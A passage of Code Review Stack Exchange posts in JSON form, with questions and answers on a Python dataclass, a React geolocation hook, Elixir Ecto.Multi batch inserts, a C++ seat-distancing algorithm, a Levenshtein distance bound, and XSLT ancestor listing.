import dataclass\n\n\n@dataclass\nclass Employee:\n\n name: str\n age: int\n company: int\n id: int = 0\n title: str = None\n level: int = 0\n xp: float = 0.0\n tasks: list = None\n projects: list = None\n</code></pre>\n<p>The <code>__init__</code> is created automatically, and a new object can be instantiated as in the previous example:</p>\n<pre class=\"lang-py prettyprint-override\"><code>def read_info(self, name, age, company):\n e = Employee.Employee(name=name, age=age, company=company)\n self.employees.append(e)\n\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T11:40:28.710", "Id": "500135", "Score": "4", "body": "I usually tend to use `**kwargs` when I have to deal with a big number of arguments in a class which seems to be the case here as well." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T12:06:11.973", "Id": "500140", "Score": "5", "body": "in this specific case i think `dataclasses` are more suitable" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T10:54:13.530", "Id": "253613", "ParentId": "253611", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T10:26:59.570", "Id": "253611", "Score": "2", "Tags": [ "python", "python-3.x" ], "Title": "Create and store an object of a class" }
253611
<p>I display the current user location, using <code>Geolocation</code> - and activate/cancel it according to button click and map view. This is managed by the state <code>isLocateUser</code>.</p> <ul> <li>When the app is ready, the default state <code>isLocateUser</code> is <code>T</code>, the <code>Map</code> component renders and looking for the current user location, via the custom hook <code>useWatchLocation</code>.</li> <li>However, when the user drags the map, the state <code>isLocateUser</code> set to <code>F</code> and locating is cancelled.</li> <li>The user can re-activate it, by clicking the button in the component <code>LocateUser</code>, that set the state <code>isLocateUser</code> back to <code>T</code>.</li> </ul> <p>This works fine.</p> <p>However, I am not sure that the custom hook and this toggling between the states is efficient enough.</p> <p><strong>Are there any better ways to rewrite this hook, in order to be more suitable to that scenario?</strong></p> <p>You can see the code below:</p> <ul> <li><p>Map (Based on OpenStreetMaps &amp; Leaflet)</p> <pre><code> export const Map = (props) =&gt; { const currLocationOptions = useWatchLocation( props.isLocateUser, geolocationOptions ); useEffect(() =&gt; { if (!currLocationOptions.location) return; }, [currLocationOptions.location, currLocationOptions.cancelLocationWatch]); function handleCancelLocationWatch() { currLocationOptions.cancelLocationWatch(); props.setIsLocateUser(false); } // . . . . . . return ( &lt;MapContainer center={center} zoom={zoom}&gt; &lt;CurrUserPosition isLocateUser={props.isLocateUser} location={currLocationOptions.location} error={currLocationOptions.error} &gt;&lt;/CurrUserPosition&gt; &lt;HandleMapEvents isLocateUser={props.isLocateUser} setIsLocateUser={props.setIsLocateUser} handleCancelLocationWatch={handleCancelLocationWatch} &gt;&lt;/HandleMapEvents&gt; // . . . . . . &lt;/MapContainer&gt; ); }; </code></pre> </li> <li><p>useWatchLocation</p> <pre><code> const useWatchLocation = (isLocateUser, options = {}) =&gt; { // store location in state const [location, setLocation] = useState(); // store error message in state const [error, setError] = useState(); // save the returned id from the geolocation's `watchPosition` to be able to cancel the watch instance const locationWatchId = useRef(null); // Success handler for geolocation's `watchPosition` method const handleSuccess = (pos) =&gt; { const { latitude, longitude } = pos.coords; setLocation({latitude, longitude}); }; // Error handler for geolocation's `watchPosition` method const handleError = (error) =&gt; { // . . . . . setError(errorMsg); }; // Clears the watch instance based on the saved watch id const cancelLocationWatch = () =&gt; { if (locationWatchId.current &amp;&amp; navigator.geolocation) { navigator.geolocation.clearWatch(locationWatchId.current); } }; useEffect(() =&gt; { if (!isLocateUser) return; // If the geolocation is not defined in the used browser we handle it as an error if (!navigator.geolocation) { setError(getString(&quot;GEOLOCATION_NOT_SUPPORTED&quot;)); return; } // Start to watch the location with the Geolocation API locationWatchId.current = navigator.geolocation.watchPosition( handleSuccess, handleError, options ); // Clear the location watch instance when React unmounts the used component return cancelLocationWatch; }, [isLocateUser, options]); return { location, cancelLocationWatch, error }; }; export default useWatchLocation; </code></pre> </li> <li><p>HandleMapEvents</p> <pre><code> function HandleMapEvents(props) { const map = useMapEvents({ moveend: () =&gt; { if (props.isLocateUser != null &amp;&amp; props.isLocateUser) { props.setIsLocateUser(false); props.handleCancelLocationWatch(); } }, // . . . . . }); return null; } </code></pre> </li> <li><p>LocateUser</p> <pre><code> export const LocateUser = (props) =&gt; { return ( &lt;button className=&quot;locate&quot; onClick={() =&gt; { props.setIsLocateUser(true); getAlert(&quot;startLocationWatch&quot;); }} &gt; &lt;/button&gt; ); }; </code></pre> </li> </ul>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T13:05:19.893", "Id": "253615", "Score": "1", "Tags": [ "react.js" ], "Title": "Locating the user position via state toggle - React.js & custom hook" }
253615
<p>I have a transactional batch inserts where previous batch insert results will be used in another batch insert. My code below already works and just want to ask if there are part of the code to be improved.</p> <pre><code> Multi.new() |&gt; Multi.insert(:template, ChecklistTemplate.changeset(%ChecklistTemplate{}, attrs)) |&gt; Multi.merge(fn _ -&gt; items = Map.get(attrs, &quot;items&quot;) items |&gt; Enum.with_index() |&gt; Enum.reduce(Multi.new, fn {item, idx}, multi -&gt; Multi.insert(multi, {:item, idx}, ChecklistItem.changeset(%ChecklistItem{}, item)) end) end) |&gt; Multi.merge(fn result -&gt; template = Map.get(result, :template) max = length(attrs[&quot;items&quot;]) - 1 0..max |&gt; Enum.reduce(Multi.new, fn id, multi -&gt; item = Map.get(result, {:item, id}) changeset = %Checklist{template_id: template.id, item_id: item.id} Multi.insert(multi, {:joined, id}, changeset) end) end) |&gt; Repo.transaction() </code></pre> <p>I have sample data below:</p> <pre><code>%{ &quot;items&quot; =&gt; [%{&quot;name&quot; =&gt; &quot;National ID&quot;}, %{&quot;name&quot; =&gt; &quot;Postal ID&quot;}], &quot;name&quot; =&gt; &quot;Default&quot; } </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T13:27:43.883", "Id": "253616", "Score": "1", "Tags": [ "elixir", "phoenix-framework" ], "Title": "Performing efficient batch inserts after batch inserts using Ecto.Multi" }
253616
<p>So I wrote this simple program to place a certain number of people on a list of <code>seats</code> whilst maintaining maximum social distance.</p> <p>Given that there is at least one empty seat, calculate the maximum.distance from an empty seat to the closest occupied seat and return the available seat. How can this be improved to be better</p> <pre><code>// seats.cpp #include &lt;iostream&gt; #include &lt;array&gt; constexpr int N = 50; int traverse_right(const std::array&lt;int, N&gt; &amp;seats, int i) { if (i &lt; 0) return 0; else if(seats[i] == 1) return i; else return traverse_right(seats, --i); } int traverse_left(const std::array&lt;int, N&gt; &amp;seats, int i) { if (i &gt;= seats.size()) return 0; else if(seats[i] == 1) return i; else return traverse_left(seats, ++i); } int get_available_seat(const std::array&lt;int, N&gt; &amp;seats) { int max = 0; int right_distance = 0; int left_distance = 0; int available_seat = -1; for(size_t i = 0; i != seats.size(); ++i) { if(seats[i] == 0) { right_distance = abs(i - traverse_right(seats, i)); left_distance = abs(i - traverse_left(seats, i)); } if(left_distance &gt; max &amp;&amp; right_distance &gt; max) { if(left_distance &lt;= right_distance &amp;&amp; left_distance != 0) max = left_distance; else max = right_distance; available_seat = i; } } std::cout &lt;&lt; &quot;Maximum distance to available_seat is &quot; &lt;&lt; max &lt;&lt; '\n'; return available_seat; } void display(const std::array&lt;int, N&gt; &amp;seats) { for(const auto x : seats) std::cout &lt;&lt; x &lt;&lt; &quot; &quot;; std::cout &lt;&lt; '\n'; } int main() { std::array&lt;int, N&gt; seats{}; for(int i = 0; i &lt; 12; ++i) { int available_seat = get_available_seat(seats); seats[available_seat] = 1; } display(seats); } </code></pre> <p>The code works as expected and though I didn't perform the check, user would need to test if there is an available seat before placing.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:11:36.223", "Id": "500152", "Score": "0", "body": "Please define \"maximum social distance\". Is this the *largest distance between the closest people*? *largest average distance from each person to the next closest person*? Or something else? (Your code does not find either of these things)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:17:02.943", "Id": "500153", "Score": "0", "body": "@trentcl I have edited the question" } ]
[ { "body": "<p>Here are some things that may help you improve your program.</p>\n<h2>Be careful with signed and unsigned</h2>\n<p>The code compares an <code>int</code> <code>i</code> with <code>seats.size()</code>. However, <code>seats.size()</code> is unsigned and <code>i</code> is signed. For consistency, it would be better to declare <code>i</code> as <code>std::size_t</code> which is the type returned by <code>size()</code>.</p>\n<h2>Use standard library functions</h2>\n<p>The <code>display</code> function isn't bad, but it is probably not really needed, either. Instead of <code>display(seats)</code>, I'd write this:</p>\n<pre><code>std::copy(seats.begin(), seats.end(), std::ostream_iterator&lt;int&gt;(std::cout, &quot; &quot;));\n</code></pre>\n<h2>Rethink the algorithm</h2>\n<p>There are problems with the current algorithm. It produces this result:</p>\n<pre><code>...X..X..X..X..X..X..X..X.....X.....X.....X......X\n</code></pre>\n<p>It's not hard to notice that people on the left are closer together than they need to be and people are the right have extra room. Hint: there is a simple mathematical way to figure out how many spaces should be between occupied seats.</p>\n<h2>Clearly state the goal</h2>\n<p>Are the chairs in a circle? If so, your one-chair-at-a-time algorithm works. If not, there's a missed opportunity: after the first person sits at one end, the maximum distance is achieved if the second person sits at the other end, and not in the middle. However, assuming it's a circle, it doesn't matter which chair is chosen first. Here's how I would approach that, using a single non-recursive function using standard library functions:</p>\n<pre><code>\ntemplate &lt;class ForwardIterator&gt;\nForwardIterator find_seat(ForwardIterator begin, ForwardIterator end) {\n auto left_empty{begin};\n auto right_occupied{begin};\n auto dist{right_occupied - left_empty};\n for (auto b{begin}; b != end; ++begin) {\n // find the first unoccupied chair (marker a)\n begin = std::find(begin, end, 0);\n // now find first occupied chair to the right, or end (marker b)\n b = std::find(begin, end, 1);\n // if (b-a) &gt; dist, dist=b-a, left=a, right=b\n if ((b - begin) &gt; dist) {\n dist = b - begin;\n left_empty = begin;\n right_occupied = b;\n }\n } \n // return left_empty + dist/2\n return left_empty + dist/2;\n}\n\nint main()\n{\n std::array&lt;int, N&gt; seats{};\n for(int i = 0; i &lt; 12; ++i)\n {\n int available_seat = get_available_seat(seats);\n seats[available_seat] = 1;\n }\n std::copy(seats.begin(), seats.end(), std::ostream_iterator&lt;int&gt;(std::cout, &quot; &quot;));\n std::cout &lt;&lt; '\\n';\n}\n</code></pre>\n<p>Note that in this version, only a single forward pass is made through the container and that, by using a template, we are free to use any kind of container, including <code>std::array</code>, <code>std::vector</code>, etc. It's up to the caller to assure that there is at least one empty chair.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:03:57.997", "Id": "500148", "Score": "0", "body": "I guess it depends on the intent of the algorithm. If it attempts to figure out how a group of people would greedily fill a row of seats one by one, then it works as expected. If it actually attempts to maximize the distance between people, then you're right the greedy approach is suboptimal." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:11:11.937", "Id": "500151", "Score": "0", "body": "The intent is to maximize the distance and make sure the individual is as far as possible from the next individual, both on the left and right." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-19T08:01:30.723", "Id": "500200", "Score": "0", "body": "@Edward If I get your algorithm well it moves only in one direction. This should mean, it assumes at least one non empty chair?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-19T12:11:18.747", "Id": "500205", "Score": "0", "body": "Not quite. The algorithm is simple: find the longest empty span and return an iteration that points to the middle of that span." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:01:01.870", "Id": "253622", "ParentId": "253619", "Score": "4" } }, { "body": "<p>One idea would be to maintain a distance to the nearest seat, rather than simply an occupancy list (you can recover the same information since seats with zero distance are occupied). Then finding the seat with the furthest distance and updating the list reduces to:</p>\n<ol>\n<li>finding the maximum element in the array</li>\n<li>Traversing left and right from that element and updating the distances until the stored distance is already less than the distance to the newly added seat.</li>\n</ol>\n<p>One more code review comment:\nIt may be nicer to either (1) template these functions on the parameter N, rather than declaring it at the beginning, so that they can be called later on a different sized array or (2) use std::vector so that the size of the seats container doesn't need to be known at compile time.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:08:53.843", "Id": "500150", "Score": "2", "body": "Good ideas. Also, if you used a `std::vector` and read from `stdin` or a file, you could tackle the more interesting question, \"If you walk into a room with a row of chairs, choose a seat that maximizes your distance to others.\" Even better: make it 2D or 3D or more dimensions." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-19T08:05:17.913", "Id": "500201", "Score": "0", "body": "I find it a little hard to grasp your algorithm." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-01T17:46:26.207", "Id": "501285", "Score": "0", "body": "Here's an example to maybe clear it up.\n\nSuppose you have an arbitrary row of 20 seats with 6 people in it. The occupancy map might look like [0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0]. The corresponding maximum distance map would look like [2,1,0,1,0,0,1,1,0,1,2,3,4,3,2,1,0,1,0,1].\nTo find the seat that is furthest from anyone you just need to find the max of this array, which is the element at position 12 that contains the value 12.\n\nTo insert someone at position 12, set 12 to zero, then march backwards and set element 11 to 1 and element 10 to 2, then do the same marching forwards" } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:01:13.440", "Id": "253623", "ParentId": "253619", "Score": "4" } } ]
{ "AcceptedAnswerId": "253622", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T14:44:23.027", "Id": "253619", "Score": "4", "Tags": [ "c++", "algorithm" ], "Title": "Maintaining Maximum Social Distance" }
253619
<h2>Current implementation</h2> <p>I am using a normalized weighted Levenshtein distance for two utf32 strings with the following costs (insertion: 1, deletion: 1, replacement: 2). The normalization is performed in the following way:</p> <pre class="lang-cpp prettyprint-override"><code>1 - distance / (s1.size() + s2.size()) </code></pre> <p>In cases where I am only interested in results above a certain threshold, I use faster string metrics to calculate a upper bound on this normalized Levenshtein distance. I use the following logic to perform the calculation:</p> <ul> <li>calculate ratio based on string lengths -&gt; exit early</li> <li>remove common prefix and suffix of the two strings</li> <li>count uncommon characters between the two trimmed strings -&gt; exit early</li> <li>calculate the weighted levenshtein distance between the two trimmed strings</li> </ul> <p>To count uncommon characters between the two strings I use the following two implementations: This first implementation is used, when I know, that all characters in one of the strings are close together. E.g. when there are only ASCII characters.</p> <pre class="lang-cpp prettyprint-override"><code>template &lt;size_t MaxChar, size_t MinChar = 0, typename CharT1, typename CharT2&gt; std::size_t count_uncommon_chars(const std::basic_string&lt;CharT1&gt;&amp; s1, const std::basic_string&lt;CharT2&gt;&amp; s2) { std::array&lt;signed int, MaxChar - MinChar&gt; char_freq{}; for (const auto&amp; ch : s1) { ++char_freq[ch - MinChar]; } std::size_t count = 0; for (const auto&amp; ch : s2) { if (ch &gt; MaxChar + MinChar || ch &lt; MinChar) { count += 1; } else { --char_freq[ch - MinChar]; } } for (const auto&amp; freq : char_freq) { count += std::abs(freq); } return count; } </code></pre> <p>Since the first implementation gets really unefficient when the characters are not all close to each other, this second implementation is used for all other strings.</p> <pre class="lang-cpp prettyprint-override"><code>template &lt;typename CharT1, typename CharT2&gt; std::size_t count_uncommon_chars(std::basic_string&lt;CharT1&gt; s1, std::basic_string&lt;CharT2&gt; s2) { if (s1.empty()) { return s2.size(); } if (s2.empty()) { return s1.size(); } std::sort(s1.begin(), s1.end()); std::sort(s2.begin(), s2.end()); std::size_t count = 0; std::size_t pos_s1 = 0; std::size_t pos_s2 = 0; while (pos_s1 &lt; s1.size() &amp;&amp; pos_s2 &lt; s2.size()) { if (s1[pos_s1] == s2[pos_s2]) { ++pos_s1; ++pos_s2; } else if (s1[pos_s1] &lt; s2[pos_s2]) { ++count; ++pos_s1; } else { ++count; ++pos_s2; } } if (pos_s1 == s1.size()) { return count + s2.size() - pos_s2; } return count + s1.size() - pos_s1; } </code></pre> <p>An alternative for the second implementation I considered is:</p> <pre class="lang-cpp prettyprint-override"><code>template &lt;typename CharT1, typename CharT2&gt; std::size_t count_uncommon_chars(const std::basic_string&lt;CharT1&gt;&amp; s1, const std::basic_string&lt;CharT2&gt;&amp; s2) { std::array&lt;signed int, 256&gt; char_freq{}; for (const auto&amp; ch : s1) { ++char_freq[ch % 256]; } for (const auto&amp; ch : s2) { --char_freq[ch % 256]; } std::size_t count = 0; for (const auto&amp; freq : char_freq) { count += std::abs(freq); } return count; } </code></pre> <p>This alternative is faster, but considers multiple characters as similar (allows exiting early in fewer cases)</p> <h2>Additional information on the usage</h2> <p>In most cases I compare one string to multiple strings, to find e.g. the best match. So it would be useful when parts of the algorithm can be precalculated when only one string is known, to reduce duplicated work. The current implementations could be changed, so:</p> <ul> <li>implementation 1 and the alternative implementation can create the <code>char_freq</code> array ahead of time (without knowing which type of characters the second string holds)</li> <li>implementation 2 can sort one of the string ahead of time</li> </ul> <p>The most common ranges of characters are:</p> <ul> <li>0 - 0x7F (ASCII character)</li> <li>0 - 0xFF (utf32 character stored in 8 bit)</li> <li>0 - 0xFFFF (utf32 character stored in 16 bit)</li> <li>0 - 0x10FFFF (limit of utf32)</li> </ul> <p>The strings are often preprocessed before they are compared. The preprocessor performs the following changes:</p> <ul> <li>non alphanumeric characters are replaced with a whitespace (whitespaces are excluded from this)</li> <li>characters are changed to lowercase</li> </ul> <h2>Question</h2> <p>Is there a more efficient implementation for letters that are far apart without giving up a large part of the precision as in the alternative implementation?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:03:18.720", "Id": "500147", "Score": "5", "body": "Good first question! Welcome to Code Review." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:00:27.133", "Id": "253621", "Score": "4", "Tags": [ "c++", "algorithm", "strings", "edit-distance" ], "Title": "calculating upper bound on normalized weighted levenshtein distance" }
253621
<p>I've been playing with some genealogical files in XML lately and wanted to create a transform that would list, for each person, the person's name, the count of ancestors, and the list of ancestors. Here's what I came up with, but I'd like to see if there's a better way to do this.</p> <pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;iso-8859-1&quot;?&gt; &lt;xsl:stylesheet version=&quot;1.0&quot; xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot; &gt; &lt;xsl:output method=&quot;text&quot;/&gt; &lt;xsl:template match=&quot;/people&quot;&gt; &lt;xsl:apply-templates select=&quot;person&quot;/&gt; &lt;/xsl:template&gt; &lt;!-- for each person, print the name and ancestor count --&gt; &lt;xsl:template match=&quot;person&quot;&gt; &lt;xsl:value-of select=&quot;@name&quot;/&gt; &lt;xsl:text&gt;(&lt;/xsl:text&gt; &lt;xsl:apply-templates select=&quot;.&quot; mode=&quot;count-kin&quot;/&gt; &lt;xsl:text&gt;): &lt;/xsl:text&gt; &lt;!-- now name all of the ancestors --&gt; &lt;xsl:apply-templates select=&quot;.&quot; mode=&quot;name-kin&quot;/&gt; &lt;xsl:text&gt; &lt;/xsl:text&gt; &lt;/xsl:template&gt; &lt;!-- recursively name the ancestors --&gt; &lt;xsl:template match=&quot;parent&quot; mode=&quot;name-kin&quot;&gt; &lt;xsl:value-of select=&quot;concat(@name,' ')&quot;/&gt; &lt;xsl:variable name=&quot;myname&quot; select=&quot;@name&quot;/&gt; &lt;xsl:apply-templates select=&quot;/people/person[@name=$myname]&quot; mode=&quot;name-kin&quot;/&gt; &lt;/xsl:template&gt; &lt;!-- recursively name the ancestors --&gt; &lt;xsl:template match=&quot;person&quot; mode=&quot;name-kin&quot;&gt; &lt;xsl:apply-templates select=&quot;parent&quot; mode=&quot;name-kin&quot;/&gt; &lt;/xsl:template&gt; &lt;!-- recursively count the number of ancestors --&gt; &lt;xsl:template match=&quot;parent&quot; mode=&quot;count-kin&quot;&gt; &lt;xsl:variable name=&quot;myname&quot; select=&quot;@name&quot;/&gt; &lt;xsl:variable name=&quot;ancestor-count&quot;&gt; &lt;xsl:apply-templates select=&quot;/people/person[@name=$myname]&quot; mode=&quot;count-kin&quot;/&gt; &lt;/xsl:variable&gt; &lt;xsl:value-of select=&quot;$ancestor-count&quot;/&gt; &lt;/xsl:template&gt; &lt;!-- recursively count the number of ancestors --&gt; &lt;xsl:template match=&quot;person&quot; mode=&quot;count-kin&quot;&gt; &lt;xsl:choose&gt; &lt;!-- only count ancestors if there are any --&gt; &lt;xsl:when test=&quot;count(parent)&quot;&gt; &lt;xsl:variable name=&quot;ancestor-count&quot;&gt; &lt;xsl:apply-templates select=&quot;parent&quot; mode=&quot;count-kin&quot;/&gt; &lt;/xsl:variable&gt; &lt;xsl:value-of select=&quot;number($ancestor-count)+count(parent)&quot;/&gt; &lt;/xsl:when&gt; &lt;!-- no parents --&gt; &lt;xsl:otherwise&gt; &lt;xsl:value-of select=&quot;0&quot;/&gt; &lt;/xsl:otherwise&gt; &lt;/xsl:choose&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre> <p>Here's a sample input file:</p> <pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;iso-8859-1&quot;?&gt; &lt;people&gt; &lt;person name=&quot;adam&quot;/&gt; &lt;person name=&quot;eve&quot;/&gt; &lt;person name=&quot;cain&quot;&gt; &lt;parent name=&quot;adam&quot;/&gt; &lt;parent name=&quot;eve&quot;/&gt; &lt;/person&gt; &lt;person name=&quot;henoch&quot;&gt; &lt;parent name=&quot;cain&quot;/&gt; &lt;/person&gt; &lt;person name=&quot;gladys&quot;/&gt; &lt;person name=&quot;frank&quot;&gt; &lt;parent name=&quot;henoch&quot;/&gt; &lt;/person&gt; &lt;person name=&quot;jose&quot;&gt; &lt;parent name=&quot;gladys&quot;/&gt; &lt;parent name=&quot;frank&quot;/&gt; &lt;/person&gt; &lt;/people&gt; </code></pre> <p>Here's sample output from <code>xsltproc</code> on Linux:</p> <pre><code>adam(0): eve(0): cain(2): adam eve henoch(3): cain adam eve gladys(0): frank(4): henoch cain adam eve jose(6): gladys frank henoch cain adam eve </code></pre>
[]
[ { "body": "<p>Fun question!</p>\n<p>Usually when I find myself doing something like this: <code>select=&quot;/people/person[@name=$myname]&quot;</code>, I'll use an <a href=\"https://www.w3.org/TR/xslt-10/#key\" rel=\"nofollow noreferrer\">xsl:key</a> instead.</p>\n<p>You could use that key to collect all of the <code>parent</code>s based on the parent <code>person</code>'s <code>@name</code> in a variable.</p>\n<p>If you could treat that variable as a node-set (either XSLT 2.0+ or <a href=\"http://exslt.org/exsl/functions/node-set/index.html\" rel=\"nofollow noreferrer\">EXSLT's node-set() function</a>) getting the count of ancestors would simply be a matter of counting the number of items in the node-set (<code>count()</code>).</p>\n<p>Another option, which feels a little hacky in my opinion, is to output a separator along with the ancestor name.</p>\n<p>To get the ancestor count you can remove all characters other than the separator character (nested <code>translate()</code>) and then count the number of separators (<code>string-length()</code>).</p>\n<p>You'd also need to replace all of the separators with a space when you finally output the ancestor names (another <code>translate()</code> call).</p>\n<p>Example...</p>\n<p><strong>XML Input</strong></p>\n<pre class=\"lang-xml prettyprint-override\"><code>&lt;people&gt;\n &lt;person name=&quot;adam&quot;/&gt;\n &lt;person name=&quot;eve&quot;/&gt;\n &lt;person name=&quot;cain&quot;&gt;\n &lt;parent name=&quot;adam&quot;/&gt;\n &lt;parent name=&quot;eve&quot;/&gt;\n &lt;/person&gt;\n &lt;person name=&quot;henoch&quot;&gt;\n &lt;parent name=&quot;cain&quot;/&gt;\n &lt;/person&gt;\n &lt;person name=&quot;gladys&quot;/&gt;\n &lt;person name=&quot;frank&quot;&gt;\n &lt;parent name=&quot;henoch&quot;/&gt;\n &lt;/person&gt;\n &lt;person name=&quot;jose&quot;&gt;\n &lt;parent name=&quot;gladys&quot;/&gt;\n &lt;parent name=&quot;frank&quot;/&gt;\n &lt;/person&gt;\n&lt;/people&gt;\n</code></pre>\n<p><strong>XSLT 1.0</strong></p>\n<pre><code>&lt;xsl:stylesheet version=&quot;1.0&quot; xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot;&gt;\n &lt;xsl:output method=&quot;text&quot;/&gt;\n &lt;xsl:strip-space elements=&quot;*&quot;/&gt;\n\n &lt;xsl:key name=&quot;parent&quot; match=&quot;parent&quot; use=&quot;../@name&quot;/&gt;\n\n &lt;xsl:template match=&quot;person&quot;&gt;\n &lt;xsl:variable name=&quot;ancestors&quot;&gt;\n &lt;xsl:apply-templates select=&quot;key('parent',@name)&quot;/&gt;\n &lt;/xsl:variable&gt;\n &lt;xsl:variable name=&quot;ancestor_count&quot; \n select=&quot;string-length(translate($ancestors,translate($ancestors,'|',''),''))&quot;/&gt; \n &lt;xsl:value-of select=&quot;concat(@name,'(',$ancestor_count,'): ',translate($ancestors,'|',' '))&quot;/&gt;\n &lt;xsl:text&gt;&amp;#xA;&lt;/xsl:text&gt;\n &lt;/xsl:template&gt;\n\n &lt;xsl:template match=&quot;parent&quot;&gt;\n &lt;xsl:value-of select=&quot;concat(@name,'|')&quot;/&gt;\n &lt;xsl:apply-templates select=&quot;key('parent',@name)&quot;/&gt;\n &lt;/xsl:template&gt;\n \n&lt;/xsl:stylesheet&gt;\n</code></pre>\n<p><strong>Output</strong></p>\n<pre class=\"lang-none prettyprint-override\"><code>adam(0): \neve(0): \ncain(2): adam eve \nhenoch(3): cain adam eve \ngladys(0): \nfrank(4): henoch cain adam eve \njose(6): gladys frank henoch cain adam eve \n</code></pre>\n<p>Fiddle: <a href=\"http://xsltfiddle.liberty-development.net/3MEdvhm\" rel=\"nofollow noreferrer\">http://xsltfiddle.liberty-development.net/3MEdvhm</a></p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T21:16:18.657", "Id": "253641", "ParentId": "253624", "Score": "3" } } ]
{ "AcceptedAnswerId": "253641", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T15:28:45.030", "Id": "253624", "Score": "4", "Tags": [ "xml", "xslt" ], "Title": "Enumerating ancestors in XSLT" }
253624